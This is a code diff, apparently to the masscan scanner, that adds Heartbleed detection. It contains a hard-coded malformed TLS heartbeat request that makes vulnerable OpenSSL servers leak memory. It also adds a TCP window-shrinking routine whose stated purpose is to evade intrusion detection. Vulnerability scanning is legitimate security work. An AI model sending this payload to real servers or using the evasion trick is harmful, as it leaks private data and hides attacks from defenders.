diff --git a/src/proto-banner1.h b/src/proto-banner1.h index 3cb606a9..fa353ce5 100644 --- a/src/proto-banner1.h +++ b/src/proto-banner1.h @@ -83,6 +83,10 @@ struct ProtocolState { } sub; }; +enum { + CTRL_SMALL_WINDOW = 1, +}; + /** * A registration structure for various TCP stream protocols * like HTTP, SSL, and SSH @@ -92,6 +96,7 @@ struct ProtocolParserStream { unsigned port; const void *hello; size_t hello_length; + unsigned ctrl_flags; int (*selftest)(void); void *(*init)(struct Banner1 *b); void (*parse)( diff --git a/src/proto-http.c b/src/proto-http.c index 4dcf5b31..a058ef45 100644 --- a/src/proto-http.c +++ b/src/proto-http.c @@ -422,7 +422,7 @@ http_selftest(void) /*************************************************************************** ***************************************************************************/ struct ProtocolParserStream banner_http = { - "http", 80, http_hello, sizeof(http_hello)-1, + "http", 80, http_hello, sizeof(http_hello)-1, 0, http_selftest, http_init, http_parse, diff --git a/src/proto-ssh.c b/src/proto-ssh.c index 73d9b9f5..79ab491c 100644 --- a/src/proto-ssh.c +++ b/src/proto-ssh.c @@ -61,7 +61,7 @@ ssh_selftest(void) /*************************************************************************** ***************************************************************************/ const struct ProtocolParserStream banner_ssh = { - "ssh", 22, 0, 0, + "ssh", 22, 0, 0, 0, ssh_selftest, ssh_init, ssh_parse, diff --git a/src/proto-ssl.c b/src/proto-ssl.c index 5b4dfbe4..f2484c94 100644 --- a/src/proto-ssl.c +++ b/src/proto-ssl.c @@ -225,13 +225,7 @@ server_hello( remaining--; hello->ext_remaining--; if (px[i]) { - static const char heartbleed_request[] = - "\x15\x03\x02\x00\x02\x01\x80" - "\x18\x03\x02\x00\x14\x01" "\x0f\xe9" " " - "[masscan/1.0] "; banout_append( banout, PROTO_VULN, "SSL[heartbeat] ", 15); - more->payload = heartbleed_request; - more->length = sizeof(heartbleed_request)-1; } state = EXT_DATA; continue; @@ -397,12 +391,26 @@ handshake_parse( case LENGTH1: remaining <<= 8; remaining |= px[i]; - //printf("." " SSL handshake: type=%u length=%u\n", ssl->record.type, remaining); DROPDOWN(i,length,state); case LENGTH2: remaining <<= 8; remaining |= px[i]; + + /* Process the start of some fields. In particular, the "hello done" + * packet has a zero length, so we never drop down in the CONTENTS + * state, so we have to process it here */ + switch (ssl->record.type) { + case 0x02: /* hello done */ + { + static const char heartbleed_request[] = + "\x15\x03\x02\x00\x02\x01\x80" + "\x18\x03\x02\x00\x03\x01" "\x40\x00"; + more->payload = heartbleed_request; + more->length = sizeof(heartbleed_request)-1; + } + break; + } DROPDOWN(i,length,state); case CONTENTS: @@ -411,10 +419,10 @@ handshake_parse( if (len > remaining) len = remaining; - //printf("." "---------ssl-record: 0x%02x\n", ssl->record.type); + + switch (ssl->record.type) { case 0x02: /* server hello */ - //printf("server hello\n", ssl->record.type); server_hello( banner1, banner1_private, pstate, @@ -423,7 +431,6 @@ handshake_parse( more); break; case 0x0b: /* server certificate */ - //printf("server cert\n"); server_cert( banner1, banner1_private, pstate, @@ -431,13 +438,10 @@ handshake_parse( banout); break; case 0x0c: /* key exchange */ - //printf("key exchange\n"); break; case 0x0e: /* hello done */ - //printf("hello done\n"); break; default: - //printf("unknown SSL record: 0x%02x\n", ssl->record.type); ; } @@ -500,7 +504,7 @@ nothandshake_parse( case LENGTH1: remaining <<= 8; remaining |= px[i]; - //printf("." " SSL else: type=%u length=%u\n", ssl->record.type, remaining); + switch (ssl->record.type) { case 0x02: if (remaining >= 1) { @@ -577,6 +581,13 @@ ssl_parse( UNKNOWN, }; + /* + for (i=0; irecord.state = 0; - //printf("." "SSL record: content=%u length=%u\n", ssl->content_type, remaining); + case CONTENTS: { @@ -846,7 +857,7 @@ ssl_selftest(void) /*************************************************************************** ***************************************************************************/ struct ProtocolParserStream banner_ssl = { - "ssl", 443, ssl_hello, sizeof(ssl_hello)-1, + "ssl", 443, ssl_hello, sizeof(ssl_hello)-1, 0, ssl_selftest, ssl_init, ssl_parse, diff --git a/src/proto-tcp-telnet.c b/src/proto-tcp-telnet.c index 99cf4e5a..17bf826d 100644 --- a/src/proto-tcp-telnet.c +++ b/src/proto-tcp-telnet.c @@ -61,7 +61,7 @@ telnet_selftest(void) /*************************************************************************** ***************************************************************************/ const struct ProtocolParserStream banner_telnet = { - "telnet", 22, 0, 0, + "telnet", 22, 0, 0, 0, telnet_selftest, telnet_init, telnet_parse, diff --git a/src/proto-tcp.c b/src/proto-tcp.c index 1ee34d25..a1afc485 100644 --- a/src/proto-tcp.c +++ b/src/proto-tcp.c @@ -596,8 +596,9 @@ static void tcpcon_send_packet( struct TCP_ConnectionTable *tcpcon, struct TCP_Control_Block *tcb, - unsigned flags, - const unsigned char *payload, size_t payload_length) + unsigned tcp_flags, + const unsigned char *payload, size_t payload_length, + unsigned ctrl) { struct PacketBuffer *response = 0; int err = 0; @@ -636,11 +637,19 @@ tcpcon_send_packet( tcb->ip_them, tcb->port_them, tcb->ip_me, tcb->port_me, tcb->seqno_me, tcb->seqno_them, - flags, + tcp_flags, payload, payload_length, response->px, sizeof(response->px) ); + /* + * KLUDGE: + */ + if (ctrl & CTRL_SMALL_WINDOW) { + printf("=======\n"); + tcp_set_window(response->px, response->length, 1); + } + /* If we have payload, then: * 1. remember the payload so we can resend it */ @@ -743,7 +752,7 @@ tcpcon_send_FIN( tcb.seqno_them = seqno_them + 1; tcb.ackno_them = ackno_them; - tcpcon_send_packet(tcpcon, &tcb, 0x11, 0, 0); + tcpcon_send_packet(tcpcon, &tcb, 0x11, 0, 0, 0); } @@ -912,7 +921,7 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon, /* Send "ACK" to acknowlege their "SYN-ACK" */ tcpcon_send_packet(tcpcon, tcb, 0x10, - 0, 0); + 0, 0, 0); /* Change ourselves to the "ready" state.*/ tcb->tcpstate = STATE_READY_TO_SEND; @@ -940,48 +949,52 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon, break; case STATE_READY_TO_SEND<<8 | TCP_WHAT_TIMEOUT: - { + /* if we have a "hello" message to send to the server, + * then send it */ + if (banner1->tcp_payloads[tcb->port_them]) { size_t x_len = 0; const unsigned char *x; - - /* if we have a "hello" message to send to the server, - * then send it */ - if (banner1->tcp_payloads[tcb->port_them]) { - x_len = banner1->tcp_payloads[tcb->port_them]->hello_length; - x = banner1->tcp_payloads[tcb->port_them]->hello; - if (banner1->tcp_payloads[tcb->port_them] == &banner_ssl) - tcb->banner1_state.is_sent_sslhello = 1; - - /* Send request. This actually doens't send the packet right - * now, but instead queues up a packet that the transmit - * thread will send soon. */ - tcpcon_send_packet(tcpcon, tcb, - 0x18, - x, x_len); - LOGip(4, tcb->ip_them, tcb->port_them, - "sending payload %u bytes\n", - x_len); - - /* Increment our sequence number */ - tcb->seqno_me += (uint32_t)x_len; - - /* change our state to reflect that we are now waiting for - * acknowledgement of the data we've sent */ - tcb->tcpstate = STATE_PAYLOAD_SENT; + unsigned ctrl = 0; + + x_len = banner1->tcp_payloads[tcb->port_them]->hello_length; + x = banner1->tcp_payloads[tcb->port_them]->hello; + if (banner1->tcp_payloads[tcb->port_them] == &banner_ssl) + tcb->banner1_state.is_sent_sslhello = 1; + + /* + * KLUDGE + */ + if (tcpcon->is_heartbleed) { + ctrl = CTRL_SMALL_WINDOW; } - /* Add a timeout so that we can resend the data in case it - * goes missing. Note that we put this back in the timeout - * system regardless if we've sent data. */ - timeouts_add( tcpcon->timeouts, - tcb->timeout, - offsetof(struct TCP_Control_Block, timeout), - TICKS_FROM_TV(secs+1,usecs) - ); + /* Send request. This actually doens't send the packet right + * now, but instead queues up a packet that the transmit + * thread will send soon. */ + tcpcon_send_packet(tcpcon, tcb, + 0x18, + x, x_len, ctrl); + LOGip(4, tcb->ip_them, tcb->port_them, + "sending payload %u bytes\n", + x_len); + /* Increment our sequence number */ + tcb->seqno_me += (uint32_t)x_len; + + /* change our state to reflect that we are now waiting for + * acknowledgement of the data we've sent */ + tcb->tcpstate = STATE_PAYLOAD_SENT; } - break; + /* Add a timeout so that we can resend the data in case it + * goes missing. Note that we put this back in the timeout + * system regardless if we've sent data. */ + timeouts_add( tcpcon->timeouts, + tcb->timeout, + offsetof(struct TCP_Control_Block, timeout), + TICKS_FROM_TV(secs+1,usecs) + ); + break; case STATE_READY_TO_SEND<<8 | TCP_WHAT_DATA: case STATE_WAITING_FOR_RESPONSE<<8 | TCP_WHAT_DATA: @@ -994,7 +1007,7 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon, if ((unsigned)(tcb->seqno_them - seqno_them) > payload_length) { tcpcon_send_packet(tcpcon, tcb, 0x10, - 0, 0); + 0, 0, 0); return; } @@ -1007,7 +1020,7 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon, if (payload_length == 0) { tcpcon_send_packet(tcpcon, tcb, 0x10, - 0, 0); + 0, 0, 0); return; } @@ -1027,18 +1040,18 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon, /* acknowledge the bytes sent */ if (more.length) { //printf("." "sending more data %u bytes\n", more.length); - tcpcon_send_packet(tcpcon, tcb, 0x18, more.payload, more.length); + tcpcon_send_packet(tcpcon, tcb, 0x18, more.payload, more.length, 0); tcb->seqno_me += (uint32_t)more.length; } else { tcpcon_send_packet(tcpcon, tcb, 0x10, - 0, 0); + 0, 0, 0); } if (err == STATE_DONE) { tcpcon_send_packet(tcpcon, tcb, 0x11, - 0, 0); + 0, 0, 0); tcb->seqno_me++; tcpcon_destroy_tcb(tcpcon, tcb); } @@ -1049,7 +1062,7 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon, tcb->seqno_them = seqno_them + (unsigned)payload_length + 1; tcpcon_send_packet(tcpcon, tcb, 0x11, /*reset */ - 0, 0); + 0, 0, 0); tcpcon_destroy_tcb(tcpcon, tcb); break; @@ -1097,7 +1110,7 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon, tcpcon_send_packet(tcpcon, tcb, 0x18, tcb->payload + tcb->payload_length - len, - len); + len, 0); LOGip(4, tcb->ip_them, tcb->port_them, "- re-sending payload %u bytes\n", len); @@ -1125,13 +1138,13 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon, tcb->seqno_them = seqno_them + (unsigned)payload_length + 1; tcpcon_send_packet(tcpcon, tcb, 0x11, - 0, 0); + 0, 0, 0); tcb->seqno_me++; break; case STATE_WAITING_FOR_RESPONSE<<8 | TCP_WHAT_TIMEOUT: tcpcon_send_packet(tcpcon, tcb, 0x04, - 0, 0); + 0, 0, 0); tcpcon_destroy_tcb(tcpcon, tcb); break; diff --git a/src/templ-pkt.c b/src/templ-pkt.c index b085e6cb..b92ab784 100644 --- a/src/templ-pkt.c +++ b/src/templ-pkt.c @@ -357,6 +357,42 @@ struct TemplateSet templ_copy(const struct TemplateSet *templset) return result; } +/*************************************************************************** + ***************************************************************************/ +void +tcp_set_window(unsigned char *px, size_t px_length, unsigned window) +{ + struct PreprocessedInfo parsed; + unsigned x; + size_t offset; + unsigned xsum; + + /* Parse the frame looking for hte TCP header */ + x = preprocess_frame(px, (unsigned)px_length, 1 /*enet*/, &parsed); + if (!x || parsed.found == FOUND_NOTHING) + return; + if (parsed.ip_protocol != 6) + return; + offset = parsed.transport_offset; + if (offset + 20 > px_length) + return; + + /* set the new window */ + xsum = px[offset + 16] << 8 | px[offset + 17]; + xsum = (~xsum)&0xFFFF; + xsum += window & 0xFFFF; + xsum -= px[offset + 14] << 8 | px[offset + 15]; + xsum = ((xsum)&0xFFFF) + (xsum >> 16); + xsum = ((xsum)&0xFFFF) + (xsum >> 16); + xsum = ((xsum)&0xFFFF) + (xsum >> 16); + xsum = (~xsum)&0xFFFF; + + px[offset + 14] = (unsigned char)(window>>8); + px[offset + 15] = (unsigned char)(window>>0); + px[offset + 16] = (unsigned char)(xsum>>8); + px[offset + 17] = (unsigned char)(xsum>>0); +} + /*************************************************************************** ***************************************************************************/ size_t diff --git a/src/templ-pkt.h b/src/templ-pkt.h index 8b75a300..1c54abf5 100644 --- a/src/templ-pkt.h +++ b/src/templ-pkt.h @@ -153,6 +153,13 @@ tcp_create_packet( const unsigned char *payload, size_t payload_length, unsigned char *px, size_t px_length); +/** + * Set's the TCP "window" field. The purpose is to cause the recipient + * to fragment data on the response, thus evading IDS that triggers on + * out going packets + */ +void +tcp_set_window(unsigned char *px, size_t px_length, unsigned window); unsigned template_get_source_port(struct TemplateSet *tmplset); unsigned template_get_source_ip(struct TemplateSet *tmplset);